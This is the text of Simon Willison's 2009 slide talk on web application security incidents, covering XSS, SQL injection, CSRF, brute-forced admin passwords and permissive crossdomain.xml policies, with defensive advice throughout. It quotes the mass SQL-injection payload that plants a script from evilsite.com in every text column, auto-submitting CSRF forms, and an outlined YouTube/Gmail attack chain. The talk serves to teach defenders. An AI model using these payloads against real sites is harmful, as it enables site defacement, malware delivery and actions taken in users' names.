1. Web App Security
Horror Stories
Simon Willison, 6th March 2009
Saturday, 7 March 2009
2. This talk is about
learning from other
people’s mistakes
Saturday, 7 March 2009
3. XSS
(cross site scripting)
Saturday, 7 March 2009
4. Rule one:
Never let anyone
inject their JavaScript
in to your page
Saturday, 7 March 2009
5. If you have an XSS hole, I can
• Steal your users’ cookies and log in as them
• Embed malware and drive-by downloads
• Show a fake phishing login page on your site
• Perform any action as if I was your user
Saturday, 7 March 2009
8. samy is my hero
http://namb.la/popular/
Saturday, 7 March 2009
9. MySpace customisation
was “kind of a mistake”
http://bit.ly/myspace-mistake
Saturday, 7 March 2009
10. A social network worm
• When you viewed Samy’s profile...
• JS makes you add him as a friend
• JS uses XMLHttpRequest to add his
exploit to YOUR profile as well
Saturday, 7 March 2009
11. 4th October 2005
12:34 pm: You have 73 friends
I decided to release my little popularity program. I'm going
to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend request
One of my friends' girlfriend looks at my profile. She's
obviously checking me out. I approve her inadvertent friend
request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requests
Woah. I did not expect this much. I'm surprised it even
worked.. 200 people have been infected in 8 hours. That
means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requests
Oh wait, it's exponential, isn't it. Shit.
Saturday, 7 March 2009
12. 4th October 2005
12:34 pm: You have 73 friends
I decided to release my little popularity program. I'm going
to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend request
One of my friends' girlfriend looks at my profile. She's
obviously checking me out. I approve her inadvertent friend
request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requests
Woah. I did not expect this much. I'm surprised it even
worked.. 200 people have been infected in 8 hours. That
means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requests
Oh wait, it's exponential, isn't it. Shit.
Saturday, 7 March 2009
13. 4th October 2005
12:34 pm: You have 73 friends
I decided to release my little popularity program. I'm going
to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend request
One of my friends' girlfriend looks at my profile. She's
obviously checking me out. I approve her inadvertent friend
request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requests
Woah. I did not expect this much. I'm surprised it even
worked.. 200 people have been infected in 8 hours. That
means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requests
Oh wait, it's exponential, isn't it. Shit.
Saturday, 7 March 2009
14. 4th October 2005
12:34 pm: You have 73 friends
I decided to release my little popularity program. I'm going
to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend request
One of my friends' girlfriend looks at my profile. She's
obviously checking me out. I approve her inadvertent friend
request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requests
Woah. I did not expect this much. I'm surprised it even
worked.. 200 people have been infected in 8 hours. That
means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requests
Oh wait, it's exponential, isn't it. Shit.
Saturday, 7 March 2009
17. The UTF-7 hole
• Google’s 404 pages didn't specify a charset
• IE inspected the first 4096 bytes to “guess”
the encoding of the page
• UTF-7 XSS attacks slipped through Google's
XSS filters but were executed by IE
http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
Saturday, 7 March 2009
18. You can’t trust CSS either
• HTC in IE and XBL in Mozilla are both vectors for
JavaScript attacks
• A “position: absolute” hack was used to steal 30,000
MySpace passwords last year
http://community.livejournal.com/lj_dev/708069.html
http://www.securiteam.com/securitynews/6O00M0AHFW.html
Saturday, 7 March 2009
20. Inexcusable.
Use paramaterised
queries, or an ORM
Saturday, 7 March 2009
21. If you’re gluing SQL
together using string
appends
Saturday, 7 March 2009
22. Bad (even though it's secure):
$sql = quot;select * from users where nick = 'quot;
. mysql_real_escape_string($username) . quot;'quot;;
Good:
$sql = build_query(
quot;select * from users where nick = ?quot;, $nick
);
Saturday, 7 March 2009
23. Mass XSS via SQL injection
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
http://hackademix.net/2008/04/26/mass-attack-faq/
Saturday, 7 March 2009
25. “We’ve found CSRF
vulnerabilities in sites that have a
huge incentive to do security
correctly. If you’re in charge of a
website and haven’t specifically
protected against CSRF, chances
are you’re vulnerable”
- Bill Zeller
Saturday, 7 March 2009
26. Ever see a link like this?
<a href=quot;http://app.example.com/delete.php?id=1quot;>Delete</a>
Saturday, 7 March 2009
27. Now what if I do this:
<img src=quot;http://app.example.com/delete.php?id=1quot;>
<img src=quot;http://app.example.com/delete.php?id=2quot;>
<img src=quot;http://app.example.com/delete.php?id=3quot;>
<img src=quot;http://app.example.com/delete.php?id=4quot;>
<img src=quot;http://app.example.com/delete.php?id=5quot;>
... and trick you in to
visiting my site?
Saturday, 7 March 2009
28. POST will not save you
<form action=quot;http://app.example.com/delete.phpquot;
method=quot;POSTquot;>
<input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;>
<input type=quot;submitquot; value=quot;More kittens please!quot;>
</form>
http://www.flickr.com/photos/fofurasfelinas/9724483/
Saturday, 7 March 2009
29. Or submit with JavaScript
<div style=quot;display: nonequot;>
<form action=quot;http://app.example.com/delete.phpquot;
method=quot;POSTquot;>
<input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;>
</form>
</div>
<script>document.forms[0].submit()</script>
Saturday, 7 March 2009
30. The Digg exploit
• A few years ago, Digg had no CSRF
protection on their “digg this” button
• The result: self-digging pages!
http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/
Saturday, 7 March 2009
31. The Gmail filter hack
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
Saturday, 7 March 2009
32. “We believe this is the first CSRF
vulnerability to allow the transfer of funds
from a financial institution.”
http://www.freedom-to-tinker.com/blog/wzeller/
popular-websites-vulnerable-cross-site-request-forgery-attacks
Saturday, 7 March 2009
33. Preventing CSRF
• You need to distinguish between form
interactions from your user on your site, and
form interactions from your user on some
other site
• Referrer checking is notoriously unreliable
• Solution: include a form token (Yahoo! calls
this a “crumb”) proving that the post came
from your site
Saturday, 7 March 2009
35. Protecting the crumb
• Your crumb is now the only thing protecting
you from CSRF attacks
• This is why XSS is such a big deal
• With XSS, I can steal your crumb and run
riot across your site
• XSS holes are automatically CSRF holes
Saturday, 7 March 2009
56. How did they do it?
They guessed the URL
Saturday, 7 March 2009
57. The Twitter hack
• A bored teenager ran a brute force
attack against a popular Twitter user
• quot;happinessquot; is a dictionary word
• She happened to be Twitter staff, with
admin access
Saturday, 7 March 2009
59. Keep admin accounts
separate from regular
user accounts
Saturday, 7 March 2009
60. crossdomain.xml
<cross-domain-policy>
<allow-access-from domain=quot;*quot; />
</cross-domain-policy>
Putting this at example.com/crossdomain.xml allows Flash applets
on other sites to read your pages and steal your crumbs
Flash can even fake an X-Requested-With: XMLHttpRequest header
That’s why Flickr use api.flickr.com/crossdomain.xml instead
Saturday, 7 March 2009
61. crossdomain.xml
<cross-domain-policy>
<allow-access-from domain=quot;*quot; />
</cross-domain-policy>
Putting this at example.com/crossdomain.xml allows Flash
applets on other sites to read your pages and steal your
crumbs
That’s why Flickr use api.flickr.com/crossdomain.xml instead
Saturday, 7 March 2009
62. YouTube/Gmail combo attack!
<allow-access-from domain=quot;*.google.comquot; />
1. Attacker emails a special SWF to a Gmail account they control
and locates the attachment download URL on google.com
2. Logged-in YouTube user visits an attacker controlled page
3. Attacker forces their victim to authenticate to the attackers
Gmail account (using login CSRF)
4. Attacker embeds SWF from the Gmail account into the web page
5. Attacker now has read write access on YouTube.com as the
victim’s account
http://jeremiahgrossman.blogspot.com/2008/09/i-used-to-know-what-you-watched-on.html
Saturday, 7 March 2009
63. No matter how hard you try, you
can’t secure your site 100%
There’s always a chance a
browser, plugin or compromised
client machine will screw
everything up anyway
Saturday, 7 March 2009
64. ... and 70% of users will give
their password to a stranger in
exchange for a bar of chocolate
http://news.bbc.co.uk/1/hi/technology/3639679.stm
Saturday, 7 March 2009